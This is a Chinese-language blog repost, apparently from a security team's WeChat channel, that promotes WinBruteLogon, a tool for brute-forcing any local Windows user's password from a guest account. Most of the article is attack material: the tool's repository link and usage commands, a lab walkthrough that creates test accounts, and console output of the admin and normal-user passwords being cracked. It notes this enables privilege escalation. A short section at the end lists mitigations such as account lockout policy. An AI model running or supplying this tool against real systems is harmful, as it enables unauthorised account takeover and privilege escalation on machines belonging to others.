前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >神兵利器 - 在没有任何权限的情况下破解任何 Microsoft Windows 用户密码

神兵利器 - 在没有任何权限的情况下破解任何 Microsoft Windows 用户密码

作者头像
Khan安全团队
发布2022-04-02 11:08:08
发布2022-04-02 11:08:08
1.7K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

项目地址:https://github.com/DarkCoderSc/win-brute-logon

目标:Windows XP 到最新的 Windows 10 版本 (1909)

用法

词表文件

代码语言:javascript
代码运行次数:0
运行
复制
WinBruteLogon.exe -u <username> -w <wordlist_file>

标准输入词汇表

代码语言:javascript
代码运行次数:0
运行
复制
type <wordlist_file> | WinBruteLogon.exe -u <username> -

介绍

这个 PoC 更像是我所说的 Microsoft Windows 身份验证机制中的一个严重弱点,而不是一个漏洞。

最大的问题与缺乏执行此类操作所需的权限有关。

实际上,通过访客帐户(Microsoft Windows 上最受限制的帐户),您可以破解任何可用本地用户的密码。

使用命令找出哪些用户存在:net user

这个 PoC 使用多线程来加速进程并支持 32 位和 64 位。

PoC 测试场景(使用访客账户)

在 Windows 10 上测试

安装和配置新更新的 Windows 10 虚拟机或物理机。

在我的情况下,完整的 Windows 版本是:1909 (OS Build 18363.778)

以管理员身份登录并让我们创建两个不同的帐户:一个管理员和一个普通用户。两个用户都是本地用户。

/!\ 重要提示:我在演示中使用了 Guest 帐户,但这个 PoC 不仅限于 Guest 帐户,它适用于任何帐户/组(guest 用户/普通用户/admin 用户等...)

创建一个新的管理员用户

代码语言:javascript
代码运行次数:0
运行
复制
net user darkcodersc /add
net user darkcodersc trousers
net localgroup administrators darkcodersc /add

创建普通用户

代码语言:javascript
代码运行次数:0
运行
复制
net user HackMe /add
net user HackMe ozlq6qwm

创建一个新的访客帐户

代码语言:javascript
代码运行次数:0
运行
复制
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add

开始攻击

从管理员帐户注销或重新启动计算机并登录到访客帐户。

将 PoC 可执行文件放在您作为访客用户可以访问的任何地方。

用法 :WinBruteLogon.exe -v -u <username> -w <wordlist_file>

-v是可选的,它设计了详细模式。

默认情况下,域名是%USERDOMAIN%env var 指定的值。您可以使用选项指定自定义名称-d

破解第一个用户:(darkcodersc管理员)

提示(客人)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt

等待几秒钟以查看以下结果:

代码语言:javascript
代码运行次数:0
运行
复制
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06

破解第二个用户:(HackMe普通用户)

提示(客人)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt

等待几秒钟以查看以下结果:

代码语言:javascript
代码运行次数:0
运行
复制
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
代码语言:javascript
代码运行次数:0
运行
复制

如果您获得了对低权限用户的访问权限,则可以破解更高权限用户的密码并提升您的权限。

修复:

  • 禁用来宾帐户(如果存在)。
  • 应用程序白名单。
  • 按照指南创建并保持密码强度高。将此应用于所有用户。

实施安全锁定策略(默认不存在)

打开secpol.msc然后转到Account Policies>并使用(1 到 999)之间的所需值Account Lockout Policy编辑值。Account lockout threshold

值表示锁定之前可能尝试的次数。

/!\ LockDown Policy 不适用于管理员帐户。此时,对管理员帐户(如果启用)的最佳保护是设置一个非常复杂的密码。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 用法
  • 词表文件
  • 介绍
  • PoC 测试场景(使用访客账户)
    • 创建一个新的管理员用户
    • 开始攻击
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档